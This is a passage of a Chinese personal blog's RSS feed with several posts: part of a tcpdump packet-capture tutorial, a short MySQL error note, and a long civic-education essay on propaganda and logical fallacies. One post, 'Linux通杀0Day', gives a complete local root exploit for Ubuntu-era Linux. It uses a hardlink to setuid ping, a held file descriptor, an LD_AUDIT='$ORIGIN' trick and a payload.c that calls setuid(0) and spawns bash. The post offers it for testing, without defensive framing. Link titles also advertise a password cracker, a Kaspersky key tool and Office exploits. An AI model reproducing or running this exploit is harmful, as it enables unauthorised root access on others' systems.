<p>（<span style="color: rgb(255, 0, 0);">如果遇到tcpdump: no suitable device found的问题，检查一下是不是在用root权限运行tcpdump，tcpdump只能在root权限下工作</span>）</p>
<p>安装好tcpdump之后，运行tcpdump：</p>
<p><strong>1. tcpdump -D 获取网络适配器列表</strong>，以下是在Ubuntu上获取到的结果：</p>
<table align="center" style="border: 1px solid rgb(153, 153, 153); font-size: 12px; width: 80%;">
    <tbody>
        <tr>
            <td>root@holmesian-laptop:~# tcpdump -D<br />
            1.eth0<br />
            2.wlan0<br />
            3.usbmon1 (USB bus number 1)<br />
            4.usbmon2 (USB bus number 2)<br />
            5.usbmon3 (USB bus number 3)<br />
            6.usbmon4 (USB bus number 4)<br />
            7.usbmon5 (USB bus number 5)<br />
            8.any (Pseudo-device that captures on all interfaces)<br />
            9.lo</td>
        </tr>
    </tbody>
</table>
<p>&nbsp;</p>
<p><strong>2. tcpdump -i &lt;需要监控的网络适配器编号&gt;</strong>，例如我想监控我的无线网卡wlan0，则使用tcpdump -i 2。</p>
<p></p>
<table align="center" style="border: 1px solid rgb(153, 153, 153); font-size: 12px; width: 80%;">
    <tbody>
        <tr>
            <td>root@holmesian-laptop:~# tcpdump -i 2<br />
            tcpdump: verbose output suppressed, use -v or -vv for full protocol decode<br />
            listening on wlan0, link-type EN10MB (Ethernet), capture size 96 bytes<br />
            21:24:14.578430 00:24:f9:05:78:00 (oui Unknown) Unknown SSAP 0x78 &gt; 00:1f:3a:18:fa:06 (oui Unknown) Unknown DSAP 0xd8 Information, send seq 0, rcv seq 16, Flags [Command], length 70<br />
            21:24:14.578447 00:24:f9:05:78:00 (oui Unknown) Unknown SSAP 0x78 &gt; 00:1f:3a:18:fa:06 (oui Unknown) Unknown DSAP 0xd8 Information, send seq 0, rcv seq 16, Flags [Command], length 223<br />
            21:24:14.995603 00:24:f9:05:78:00 (oui Unknown) Unknown SSAP 0x20 &gt; 78:dd:08:d1:b2:ca (oui Unknown) Unknown DSAP 0x76 Information, send seq 0, rcv seq 16, Flags [Command], length 70<br />
            21:24:15.019811 00:24:f9:05:78:00 (oui Unknown) Unknown SSAP 0xa6 &gt; 2c:81:58:ec:9c:54 (oui Unknown) Unknown DSAP 0x0a Information, send seq 0, rcv seq 16, Flags [Command], length 72</td>
        </tr>
    </tbody>
</table>
<p>如果不使用-i来定义监控适配器的话，默认使用列表中的第一个；</p>
<p><strong>3. 使用无线网卡wlan0监控IP地址为</strong>172.16.86.111<strong>上443端口的tcp协议</strong>：</p>
<table align="center" style="border: 1px solid rgb(153, 153, 153); font-size: 12px; width: 80%;">
    <tbody>
        <tr>
            <td>tcpdump -i 2&nbsp; host 172.16.86.111 and tcp port 443</td>
        </tr>
    </tbody>
</table>
<p><strong>4. 如果想要显示数据包的内容，需要使用-X参数</strong>，如，我想要显示捕获的https数据包http header的内容：</p>
<table align="center" style="border: 1px solid rgb(153, 153, 153); font-size: 12px; width: 80%;">
    <tbody>
        <tr>
            <td>tcpdump -X -i 2&nbsp; host 172.16.86.111 and tcp port 443</td>
        </tr>
    </tbody>
</table>
<p>显示结果如下：</p>
<table align="center" style="border: 1px solid rgb(153, 153, 153); font-size: 12px; width: 80%;">
    <tbody>
        <tr>
            <td>21:27:53.662741 IP holmesian-laptop.local.44239 &gt; 172.16.86.111.https: Flags [S], seq 24296623, win 5840, options [mss 1460,sackOK,TS val 153804 ecr 0,nop,wscale 6], length 0<br />
            &nbsp;&nbsp;&nbsp; 0x0000:&nbsp; 4500 003c e463 4000 4006 514a ac10 567e&nbsp; E..&lt;.c@.@.QJ..V~<br />
            &nbsp;&nbsp;&nbsp; 0x0010:&nbsp; ac10 566f accf 01bb 0172 bcaf 0000 0000&nbsp; ..Vo.....r......<br />
            &nbsp;&nbsp;&nbsp; 0x0020:&nbsp; a002 16d0 66a8 0000 0204 05b4 0402 080a&nbsp; ....f...........<br />
            &nbsp;&nbsp;&nbsp; 0x0030:&nbsp; 0002 58cc 0000 0000 0103 0306&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ..X.........<br />
            21:27:56.660488 IP holmesian-laptop.local.44239 &gt; 172.16.86.111.https: Flags [S], seq 24296623, win 5840, options [mss 1460,sackOK,TS val 154554 ecr 0,nop,wscale 6], length 0<br />
            &nbsp;&nbsp;&nbsp; 0x0000:&nbsp; 4500 003c e464 4000 4006 5149 ac10 567e&nbsp; E..&lt;.d@.@.QI..V~<br />
            &nbsp;&nbsp;&nbsp; 0x0010:&nbsp; ac10 566f accf 01bb 0172 bcaf 0000 0000&nbsp; ..Vo.....r......<br />
            &nbsp;&nbsp;&nbsp; 0x0020:&nbsp; a002 16d0 63ba 0000 0204 05b4 0402 080a&nbsp; ....c...........<br />
            &nbsp;&nbsp;&nbsp; 0x0030:&nbsp; 0002 5bba 0000 0000 0103 0306&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ..[.........<br />
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .c</td>
        </tr>
    </tbody>
</table>
<p>可以看到该结果只显示了https头的一部分，没有显示全，是因为tcpdump默认将显示的数据长度截断了，可以使用-s后面加数据长度，来设置数据显示长度：</p>
<table align="center" style="border: 1px solid rgb(153, 153, 153); font-size: 12px; width: 80%;">
    <tbody>
        <tr>
            <td>tcpdump -X -s 0 -i 2&nbsp; host 172.16.86.111 and tcp port 443</td>
        </tr>
    </tbody>
</table>
<p>以上的例子中，-s 0 表示自动设置长度使其能够显示所有数据。</p>
<p><strong>5. 捕获的数据太多，不断刷屏，可能需要将数据内容记录到文件里，需要使用-w参数</strong>：</p>
<table align="center" style="border: 1px solid rgb(153, 153, 153); font-size: 12px; width: 80%;">
    <tbody>
        <tr>
            <td>tcpdump -X -s 0 -w aaa host 192.9.200.59 and tcp port 8000</td>
        </tr>
    </tbody>
</table>
<p>则将之前显示在屏幕中的内容，写入tcpdump可执行文件同级目录下的aaa文件中。</p>
<p>文件查看方式如下，需要使用-r参数：</p>
<table align="center" style="border: 1px solid rgb(153, 153, 153); font-size: 12px; width: 80%;">
    <tbody>
        <tr>
            <td>tcpdump -X -s 0 -i 2 -r holmesian host 172.16.86.111 and tcp port 443</td>
        </tr>
    </tbody>
</table>
<p>如果这样写：</p>
<table align="center" style="border: 1px solid rgb(153, 153, 153); font-size: 12px; width: 80%;">
    <tbody>
        <tr>
            <td>tcpdump -r holmesian</td>
        </tr>
    </tbody>
</table>
<p>则只能看到最简单的数据传输交互过程，看不到数据包内容，查看时也需要使用相应的参数。</p>
<p><strong>6.总结</strong></p>
<p>总结一下，tcpdump的参数分两个部分，选项（Options）和表达式（expression）：</p>
<strong>root@holmesian-laptop:~# tcpdump -h<br />
tcpdump version 4.0.0<br />
libpcap version 1.0.0<br />
Usage: tcpdump [-aAdDefIKlLnNOpqRStuUvxX] [ -B size ] [ -c count ]<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; [ -C file_size ] [ -E algo:secret ] [ -F file ] [ -G seconds ]<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; [ -i interface ] [ -M secret ] [ -r file ]<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; [ -s snaplen ] [ -T type ] [ -w file ] [ -W filecount ]<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; [ -y datalinktype ] [ -z command ] [ -Z user ]<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; [ expression ]<br />
<br />
</strong><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/docp">Word密码破解工具</a></p><p><a href="http://www.holmesian.org/Ubuntu-Geexbox">Linux系统问题-Ubuntu-Geexbox</a></p><p><a href="http://www.holmesian.org/kavk">一个让你拥有个卡巴斯基key永久有效的工具(100%成功)</a></p><p><a href="http://www.holmesian.org/ubuntu_rc-d">操作Ubuntu的启动服务项目rc.d</a></p><p><a href="http://www.holmesian.org/ubuntu-OAFIID-GNOME-FastUserSwitchApplet">“OAFIID:GNOME_FastUserSwitchApplet”问题</a></p><p><a href="http://www.holmesian.org/baidu">关于baidu解封</a></p></div>]]></description>
	<pubDate>Mon, 25 Oct 2010 13:32:30 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Ubuntu_tcpdump</guid>

</item>
<item>
	<title>手机上发文章出现问题Errno.: 1064</title>
	<link>http://www.holmesian.org/t_762</link>
	<description><![CDATA[发文章出现mysql 1064错误]]></description>
	<pubDate>Sat, 23 Oct 2010 00:52:32 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/t_762</guid>

</item>
<item>
	<title>Linux通杀0Day（2010年10月19日）</title>
	<link>http://www.holmesian.org/Linux_0Day</link>
	<description><![CDATA[<p>在met3or大牛那里看到的，测试ing......  相当恐怖的Linux 0Day  （注：在SSH连接中测试将会导致SSH连接挂掉。）</p>
<p>找一个777的目录</p>
<p>&nbsp;</p>
<pre class="brush:shell; toolbar: true; auto-links: true;">[ecjtu@ubuntuvms:~]$ uname -a
Linux ubuntuvms 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux
[ecjtu@ubuntuvms:~]$ ls -lha / |grep tmp
drwxrwxrwt 4 root root 4.0K 2010-10-19 21:09 tmp
[ecjtu@ubuntuvms:/tmp]$ ls -lha
drwxrwxrwt 4 root root 4.0K 2010-10-19 21:07 .
drwxr-xr-x 24 root root 4.0K 2010-10-19 18:41 ..
drwxrwxrwt 2 root root 4.0K 2010-10-19 18:40 .ICE-unix
-rw-r--r-- 1 ecjtu root 85 2010-10-19 20:56 payload.c
drwxrwxrwt 2 root root 4.0K 2010-10-19 18:40 .X11-unix
[ecjtu@ubuntuvms:/tmp]$ mkdir exploit
[ecjtu@ubuntuvms:/tmp]$ ln /bin/ping /tmp/exploit/target
[ecjtu@ubuntuvms:/tmp]$ ls -lha /tmp/exploit/
drwxr-xr-x 2 ecjtu root 4.0K 2010-10-19 21:07 .
drwxrwxrwt 5 root root 4.0K 2010-10-19 21:07 ..
-rwsr-xr-x 2 root root 34K 2010-03-12 07:12 target
[ecjtu@ubuntuvms:/tmp]$ exec 3&lt; /tmp/exploit/target
[ecjtu@ubuntuvms:/tmp]$ ls -l /proc/$$/fd/3
lr-x------ 1 ecjtu root 64 2010-10-19 21:06 /proc/4953/fd/3 -&gt; /tmp/exploit/target
[ecjtu@ubuntuvms:/tmp]$ rm -rf /tmp/exploit/
[ecjtu@ubuntuvms:/tmp]$ ls -l /proc/$$/fd/3
lr-x------ 1 ecjtu root 64 2010-10-19 21:06 /proc/4953/fd/3 -&gt; /tmp/exploit/target (deleted)
[ecjtu@ubuntuvms:/tmp]gcc -w -fPIC -shared -o /tmp/exploit payload.c
[ecjtu@ubuntuvms:/tmp]$ ls -l /tmp/exploit
-rwxr-xr-x 1 ecjtu root 6775 2010-10-19 21:09 /tmp/exploit
[ecjtu@ubuntuvms:/tmp]LD_AUDIT="$ORIGIN" exec /proc/self/fd/3</pre><p></p>
<p>payload.c中的内容：</p>
<p></p>
<pre class="brush:cpp; toolbar: true; auto-links: true;">void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}</pre><p></p>
<p>&nbsp;</p>
<p>提权失败：</p>
<p><img alt="" src="/attachment/1287495372_14536d4a.jpg" /></p>
<p>提权成功：</p>
<p>&nbsp;<pre class="brush:shell; toolbar: true; auto-links: true;">[root@ubuntuvms:~]# whoami
root
[root@ubuntuvms:~]# id
uid=0(root) gid=0(root) ç»„=0(root)</pre></p>
<p>&nbsp;</p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/FreeBSD_chmod">关于Linux和Unix系统下权限的理解</a></p><p><a href="http://www.holmesian.org/OfficeBug1"> office 2003 MS08-011漏洞利用程序</a></p><p><a href="http://www.holmesian.org/OFEXX">Office溢出合集</a></p><p><a href="http://www.holmesian.org/ubuntu-aircrack-ng">Ubuntu下使用aircrack-ng</a></p><p><a href="http://www.holmesian.org/Ubuntu-Geexbox">Linux系统问题-Ubuntu-Geexbox</a></p><p><a href="http://www.holmesian.org/post/404">Intel无线网卡漏洞</a></p></div>]]></description>
	<pubDate>Tue, 19 Oct 2010 13:21:30 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Linux_0Day</guid>

</item>
<item>
	<title>学会讲道理</title>
	<link>http://www.holmesian.org/t_760</link>
	<description><![CDATA[<br />
没有广播电台万人齐上公民课:<br />
公民课第一堂：学会讲道理<br />
<br />
主讲人:翟明磊<br />
<br />
友情提醒:<br />
<br />
1.温家宝讲话我行动,因此本台进行微博公民课实验,传播民主理念与公民技巧,这叫响应党中央号召.<br />
<br />
2.请注意标签,和括号中的数字.每个贴我都编了号,请后到的听众不要急,按序号阅读和转播.敬请完整转播全课，你可以在你的微博上开设公民课分课堂。<br />
<br />
<br />
(1) 公民课开讲啦,坐好坐好,对,就说你呢,别说话啦!讲个课容易吗?好不容易凑上一万人。<br />
<br />
（2）我实在是一个奇怪的老师，在华师大调查新闻课第一节课上，我就宣布老师下台了。我对学生说，有办公室政治，也有课堂政治，课堂政治，就是课堂上谁是最有权力的人，是我老师，我想让谁回答就让谁回答，我想提问谁就提问谁，我想让你们不质疑，你们就不质疑。<br />
<br />
（3）今天要变一变，翟老师宣布下台，你们要叫我翟明磊同学。课堂是你们的了。请你们选出主持人，按自己的意思对案例进行自由讨论。一个小时解放时间。于是同学们乱轰轰兴冲冲推举候选人，候选人竞选，举手表决，选出一个同学主持人。<br />
<br />
（4）有趣的事出现了：一，这个主持人完全模仿老师，竟用叫学号的方式叫同学回答问题。然后自己象领导一样，想为大伙总结。二，学生们难得有个大闹天宫的时间，所以发言踊跃，纷纷说我的观点是，我的观点是，但是整整一小时过去了……<br />
<br />
（5）学生们发现他们说了很多话，但是没有出现真正的讨论，没有达成共识，甚至没有一个主题。怎么回事，给了我们自由，我们却不会公共讨论。其实，这也是我最大的困惑，现在的学生越来越不会提问，争论，甚至懒于表达……<br />
<br />
（6）有人说不会提问，不会讨论，是因为这一代学生是独生子女，从小一个人玩，不与别人交流，是这样的吗？不尽然，我就是一个独生子，我怎么没这样的问题？有人说，现在学生，什么都要现成答案，懒。在家都是父母给现成的。我认为也不尽然。<br />
<br />
（7）名博王小峰发现现在的孩子，不会批驳别人，比如说，你说一句这杯子是圆的，他批驳你，不会说这杯子是方的。他会说杯子是白的。说得不客气点， 在香港大学中，我发现凡是提出逻辑不通，奇怪问题的学生，或者答不得义的多半是大陆来的学生，而不可能是台湾，香港，美国的学生。<br />
<br />
（8）几年下来我的疑惑越来越重，在公共场合，在家里，为什么看到那么多中国大陆人在吵架？没说几句就会吵起来？而在一些正常国家，社会上要安静得 多，人们不会大声说话，也很难争吵。有人说，那是中国更年期的妇女多。这没道理，为什么大陆中年妇女就成自然灾害而别的国家不会？<br />
<br />
（9）还有的人说我们制度不好，人们一肚子怨气，没处撒，找人吵架，有点道理，不尽然。还有人说中国老百姓素质低，好，那么请问，怎么个低法？又是 如何低下去的？为什么台湾香港小学毕业的工人都不象咱们这样爱吵架。而我们素质高的，如饱读诗书的毛泽东等高素质的贵人又如何搞出文革这些低级错误？<br />
<br />
（10）我带着为什么中国大陆人爱吵架，不爱讨论的疑问，想了好多年，终于有一天明白了，是一个叫徐贲的美国大学的华人老师启发了我。原来和美国不同，我们的小学中学大学少了一门重要的公民课程：叫公共说理课。简单点说：我们大陆人不会讲道理。<br />
<br />
（11）大伙又说了，不会吧，我们长这么大不会讲道理？且听我分解。于是在阅读了徐贲老师的文章，与我一些公共知识分子朋友如郭宇宽，陈健民先生的讨论后，我给华师大的大学生们上了第一课公民课：如何讲道理。这就是这堂公民课的由来。<br />
<br />
（12）原来，我们的教育少了一个在美国小学中学大学延续十年的公共说理课程，这课程究竟是什么样的呢，我们到底缺了什么，让中国不少大陆人不会讲道理呢？那就让我们看看美国公共说理课是怎么上的。我参阅了徐贲先生的文章，又发挥了一下，公民课没有版权，属于大家。<br />
<br />
（13）我们仔细看一下美国的公共说理课，看看人家小学生中学生大学生学的东西。我们缺了什么，在小学一年级和四年级，中国与美国的学生没什么区别，都是概括段落大意，中心思想。到了四年级，不一样了，不一样在什么地方呢？且听分解。<br />
<br />
（14）到了小学五年级，美国小学生和中国小学生学的就不一样了。不一样在哪里？小学五年级,美国的公共说理课要区别事实与看法的不同,了解,事实 是要核实的,看法是要证明的,每个看法都是要有论据证明才能是正确的.而不是说国家领导人的看法天然就是正确的,是需要证明的.也是说理评估.<br />
<br />
（15）到了小学六年级,中美小学生关键分野出现了,在美国六年级学生被要求: 一，判断作者结论所用论据的合适性和恰当性。二，用准确，有说服力的引述语合理陈述观点。三，察辨文本中缺乏论据支持的推理，谬误推论说辞和宣传。<br />
<br />
（16）请注意美国六年级小学生在进入初中前已要求能清晰分辨什么是宣传什么是真正的说理. 辨析"逻辑谬误。" 二，提防"宣传"，要辨析的逻辑错误又分为五种: 过度简单化，浮泛空论，巡回论证，虚假两分法，无凭据推理，<br />
<br />
（17）在美国,六年级小学生被告知要要提防的宣传手法有十种： <br />
<br />
人云亦云，谩骂，偏见，势利，老百姓的话，吹嘘，"科学"根据，证词，恫吓战术，株连。而我们六年级的小学生正陷入黑天黑地的应试灌输教育中,准备考初中.<br />
<br />
（18）有人要问了,为什么要让小学生提防宣传,因为宣传正是利用人逻辑的谬误的进行的误导洗脑,是专制主义的重要武器.在小学六年级,这个十四岁,人的自我意识觉醒的年纪,进行反宣传的教育是至关重要的.好,让我们看看什么是宣传.<br />
<br />
（19）让我们看看美国六年级小学生被教育要提防的十种宣传手法是什么?一个个来,我们在微博上有的是时间,要上厕所的可以去一下.小跑回来.<br />
<br />
第一种: 人云亦云——例:人家都说吃鸡血能健身，吃绿豆好。<br />
<br />
例:人家都说刘少奇是叛徒,是工贼,还有假.<br />
<br />
（20）美国六年级小学生被教育要提防的十种宣传手法之二:<br />
<br />
 谩骂——妈了个B，罗永浩你这个卖国贼，你老娘乍生这个龟儿子。<br />
<br />
评:用语言暴力摧毁个体的自我尊严是专制者与暴民和爱国粪青常用的宣传方法.<br />
<br />
另外象别有用心，居心不良，丧心病狂，动不动就称人家是歹徒也在此列。<br />
<br />
（20补）骂粗口也似乎是革命者的爱好.戴晴记录了她的同事孟晓云见王震的故事.孟晓云写了一篇关于王震的文章,到王震家念给王震听,念完后,王震一动不动,良久,才突然嚷了一句"我操他祖宗."孟一时不知如何是好。秘书在一边提醒她："这就说很好，通过了，你快走吧。"<br />
<br />
（20再补）粗鄙的革命者建立的社会以骂人为风。也培养了一批爱骂罗永浩的小愤青。<br />
<br />
（21）美国六年级小学生被教育要提防的十种宣传手法之三:<br />
<br />
偏见——你们上海男人都是怕女人的。评:偏见是农业社会不开放社会由潜意识,情绪和深层感性产生的未经证实的东西.因为偏见普遍存在而易被利用.有些偏见不易识别还容易唤起公众共鸣如为富不仁,养儿防老.同性恋是不好的等等.<br />
<br />
（22）有些偏见却以高贵的面目出现：殷海光先生认为：宗教教条，传统的说法，祖宗的遗训，这种那种主义，都是想象，冲动，情绪，欲望，特定人身因素揉合起来的产品，充满了特殊的色调，没有普遍的效准。我们把他称之为有颜色的思想。<br />
<br />
（23）另如为什么说纳粹法西斯的思想是错误的，因为希特勒纯粹以日尔曼民族的特性为出发点构筑理论。而不少民族主义狂热思想的错误也是同样道理。都是有颜色的思想，即为偏见。<br />
<br />
（24）贞操观念同样是一种偏见：这是基于性的妒嫉和财产私有所作的伦范化合成的情感。许多看上去高尚的观念其实细看何尝不是偏见？<br />
<br />
（25）成见或偏见其实是维护自己胸中那一口化不开的痰。有成见的人往往是唯情主义者。"穿着衣服的不可理喻者"。偏见可以层层叠加，最后甚至以理 论面目出现。成见可以硬化成为"固执不通"而拒绝修正。为什么骂罗永浩的那些愤青们只能拒绝一切不利于他们的建议，正因为他们是偏见者。<br />
<br />
（26）美国六年级小学生被教育要提防的十种宣传手法之四:<br />
<br />
势利——我们总理都说了，新疆骚啊骚___乱是,是热,热比呀亚干的，你还有什么话说 (我考,本台长为回避敏感词不仅创造和谐体诗歌,还自创口吃体语文,真有才,赞一个.)<br />
<br />
（27）势利无处不在,小到一堂课,你们为什么要听老师话?为什么服从老师,不管他说的对不对,因为我可以给你们学分,所以迷信老师,就可迷信官员,就可以迷信权势者给出的教条.<br />
<br />
（28） 有些势利不容易识别，例如喜欢用权威的话压人，动则马克思说过，某某权威说过，因此一个独立的人需要对势利的论述警惕。<br />
<br />
（29）美国六年级小学生被教育要提防的十种宣传手法之四:上面一条例子很容易被删掉,所以聪明的我先备另外一例. <br />
<br />
势利:胳膊扭不过大腿,你和厂长斗,有什么好下场,你认命吧.<br />
<br />
（30）美国六年级小学生被教育要提防的十种宣传手法之五:<br />
<br />
老百姓的话——老百姓都说坐宝马的没一个好人，不是贪官就是骗子，女的就是……<br />
<br />
我说现在当官的没一个好人,把局级以上干部拉过来排成一排,随便隔一个开一枪,打死的准不会错,肯定是贪官.<br />
<br />
（31）老百姓的话很解气,但常常是谬误,不能以单纯的民心来说道理.民粹派最喜欢用老百姓的话,专制者也会利用老百姓的话做势.薄某在重庆大开贪官杀戒,百姓不少叫好,但法制何在,道理何在?这道理美国六年级小学生就知道了.<br />
<br />
（32）美国六年级小学生被教育要提防的十种宣传手法之六:<br />
<br />
吹嘘——珍奥核酸有十二个诺啊,贝啊,贝啊,尔奖得主都说好。<br />
<br />
后来吾友揭黑记者杨海鹏调查,没有这个事,各国诺奖得主纷纷否认,有一个诺奖得主说珍奥核酸营养成份和凉粉差不多.<br />
<br />
（33）美国六年级小学生被教育要提防的十种宣传手法之七:<br />
<br />
"科学"根据——钱学森说只要光合作用充分发挥，亩产2万斤都不成问题。<br />
<br />
<br />
<br />
	<br />
<br />
<br />
<br />
（34）有人要问科学根据为什么是宣传手法,也就是说象钱学森这样的大科学家为什么会为大跃进浮夸风推波助澜,因为奴才式科学家容易单纯抽取科学的 一面而为专制做衣,只有把科学放在综合的环境中才能得出正确的结论.方舟子的谬误正在于此.人要对未知有所敬畏.而不能陷于理论式教条.<br />
<br />
(35)要警惕科学成为何作麻(这个字我不认识哈哈)司马南,方舟子手中的一根棍子.科学可能打假,也可能被不良知识分子包装成狼牙棍打向权势者看不顺眼的弱者.<br />
<br />
（36）美国六年级小学生被教育要提防的十种宣传手法之八:<br />
<br />
证词——"我喔，亲眼看到小张家媳妇和人家搞勿清爽，小赤佬亲伊面孔。"<br />
<br />
单纯迷信证词,只听一面之言,即使是亲眼所见者所说也不行,这就是中国文革时冤假错案与现在刑讯逼供盛行的原因.<br />
<br />
（37）美国六年级小学生被教育要提防的十种宣传手法之八:<br />
<br />
证词:在中国红色历次运动中,如AB团,三反五反,土改与反右,文革,往往就是一句证词杀一个人.历来的专制社会就是靠互相告密,人人自危生存下来.<br />
<br />
(38) 美国六年级小学生被教育要提防的十种宣传手法之九:<br />
<br />
恫吓战术——"侬勿要瞎讲八讲，当心派出所拿侬捉得去。"评:恐惧是开启专制的土壤,用恐惧让明白人不说话,是纳粹德国与延安整风常用手法,公开杀人,在河边砍AB团员的头,杀地主,斯大林大清洗就是这样的目的.<br />
<br />
（39）真实的事:在斯大林时期,有知识分子听到路上传来警车声,就以为抓自己,马上跳楼自杀了.其实警车不是冲他来的.恐惧到这种程度!<br />
<br />
(40) 美国六年级小学生被教育要提防的十种宣传手法之十<br />
<br />
株连——老子英难儿好汉，老子反动儿混蛋。在临沂计生暴行中,一人超生,邻居受难,整个村被迫逃进农田,不敢回家过夜,老人们说日本鬼子来才这样啊,今天又碰上了.盲人律师陈光诚正是为了揭开这种暴行而坐牢.<br />
<br />
（41）美国六年级小学生被教育要提防的五种逻辑错误之一:<br />
<br />
过度简单化：社会主义好,社会主义好,社会主义社会就是好.<br />
<br />
毛主席万岁。<br />
<br />
二,浮泛空论：(见后)<br />
<br />
（42）美国六年级小学生被教育要提防的五种逻辑错误之三:<br />
<br />
巡回论证：为什么学生守则要我热爱党？让你爱当然是因为党可爱啦。<br />
<br />
那党为什么可爱呢？因为党是为人民服务的嘛。<br />
<br />
党为什么要为人民服务呀？这个，……因为人民都很可爱。<br />
<br />
那人民为什么可爱呢？因为人民都热爱党嘛！<br />
 <br />
<br />
（43）大家看这句话有什么毛病:没有共产党就没有新中国.初看似乎没有毛病.但大家想一想,如果把新中国定义成共产党建立的国家,这句话意义为"没有共产党,就没有共产党建立的国家,"这就是巡回论证.所以是逻辑错误.(谢谢郭宇宽先生友情供案例)<br />
<br />
（44）美国六年级小学生被教育要提防的五种逻辑错误之四:<br />
<br />
虚假两分法：世界上有两类人，一种是吃饭撑的，一种是吃不饱的。<br />
<br />
无产阶级，资产阶级,<br />
<br />
剥削阶级与被剥削阶级, 地主与农民。<br />
<br />
（45）美国六年级小学生被教育要提防的五种逻辑错误之四:<br />
<br />
虚假两分法：这种两分法是为了把世界简单化以满足自己的政治目的.除了剥削阶级就是被剥削阶级.在土改中,为了这一划分,不仅将破产地主,管家,帐房甚至从事劳动的地主,富农全部划成剥削阶级.<br />
<br />
（46）美国六年级小学生被教育要提防的五种逻辑错误之四:<br />
<br />
虚假两分法：而其实周扒皮原型是个劳动型地主,整天光着膀子干活.儿媳妇都只穿粗麻布衣服.而刘文彩是个慈善家,他花了一亿元建中学,并放弃产权捐给地方.<br />
<br />
（47）那么为什么要塑造这种典型呢？因为革命者清楚较下阶层进过挑拨可产生忌妒，憎恨，仇恶，自卑等情绪，这种情绪可以建构，而这种情绪一旦建构 化了，可凝结并捏造成这一阶层据以看社会，看世界，看人生的出发点。当一个阶层或中心的群体以此为"内在的观念动力"时，机遇一旦成熟，就会造出壮观的群 众运动。<br />
<br />
（48）自由主义思想家殷海光将这一过程称为"真信仰"的塑造，在他看来，"真信仰"就是"真火牛"二十世纪革命年代的各种"伟大群众运动"正是 "火牛奥林比克大会"这些火牛们被利用建立比以往更专制的国家。而专制国家在利用完火牛后吃火牛肉喝火牛血。要让我们老百姓避免成为火牛，只有公民教育这 条路。<br />
<br />
（49）美国六年级小学生被教育要提防的五种逻辑错误之五:<br />
<br />
无凭据推理：(见后)总之美国小学六年级生已被教育识别宣传提防洗脑,而我们六年级学生正在洗脑中,成为社会主义接班人,中国小学哪敢开识别宣传的公共说理课哟.我们在制造脑残儿童.<br />
<br />
（50）不过不要紧,本台的公民课会一直开下去,大家一起来补课, 革命者正是靠不讲道理打下天下,这样的社会培养的老百姓也不会讲道理,这正是我们的社会充满争吵,抱怨,骂人与粗鄙的原因.这也是我们几千年礼教荡然无存的原因。<br />
<br />
（50补）我也是从这样的不讲理教育中走来,也犯过不少错误,所以公民教育的实质是自我教育,在公民课中没有权威.嗯,上厕所的朋友们,回来了吗?让我们继续。另外本台欢迎听众转播本课，越来越多的人能听到是最好的。<br />
<br />
（51）据美国徐贲老师介绍,在美国,宣传的十种手法与逻辑错误这两部分内容在有的教科书中合并为"逻辑谬误"，因为宣传本身就是一种利用一般人逻辑思考弱点和缺陷的"误导"话语，美国的老师就象我们今天上公民课一样通过案例不断让学生讨论加深印象。<br />
<br />
（52）这里特别要指出的是，要分清真与假，对与错两个界域的东西。我们只能说正确的逻辑程序，由真的前提可得真的结论。但正确的逻辑，假的前提也 可能得到假的结论。而不正确的逻辑，真的前提也会推出假的结论。宣传之可怕在，他可以用假的前提，也可以用真的前提，错误的逻辑推出假的结论。<br />
<br />
（53）所以宣传家往往不喜欢事实，或者只喜欢有利于自己的事实，再运用假逻辑得到自己的效果，宣传家是以假为真的魔法师。<br />
<br />
（54）美国 六年级，公共说理重点在于区别"事实"和"想法"。 "事实"是公认的知识，而"想法"只是个人的看法。任何"想法"都不具有自动正确性，必须经过证明才获得正确性。美国六年级小学生被告知,任何人的想法不管是总统,国王,还是教皇都需要证明.<br />
<br />
（55）证明也就是说服别人，为什么你的想法是正确的，理由是什么，想法必须加以证明，四种常用的理由是事实，例子，数据，专家意见。没有天生不需要证明的想法,没有一句顶一万句,不许质疑的教条.<br />
<br />
（56）我告诉华师大学生们,为什么畅所欲言不等于公民讨论,为什么我们的讨论不成功,因为每个人都站起来说:我的观点是……却不加证明，好的，那 无法讨论，因为你的观点就是你的，不需要讨论，需要讨论的是你如何证明，你的依据。而只说自己的观点，别人反驳时只会判断错与对，这会伤感情，容易争吵。<br />
<br />
（57）客观事实与个人看法区别是什么呢？<br />
<br />
1，事实陈述可以确认："温家宝是中国总理"<br />
<br />
看法则必须通过说理，讨论才能确认"温家宝是一位伟大的总理。"<br />
<br />
（58）<br />
<br />
2，事实陈述使用那些可共同确认词义的字词：如圆形，欧洲，木头，有毒物质<br />
<br />
而看法，使用的字词是个人理解的，如美好，棒，爽，折腾，胡闹，伟大，光荣，正确的。<br />
<br />
（59）总之事实说"请你核实。"看法说"我说对，就没错。"事实陈述谦虚协商，看法陈述则是傲慢，独语。为什么我们中国大陆人容易发生争吵是不明 白观点不用争议争议的是证明过程，中国人将观点和人联系在一起，否定观点容易引起情感冲突，因为我的观点我最清楚，你又不是我，这无法反驳。<br />
<br />
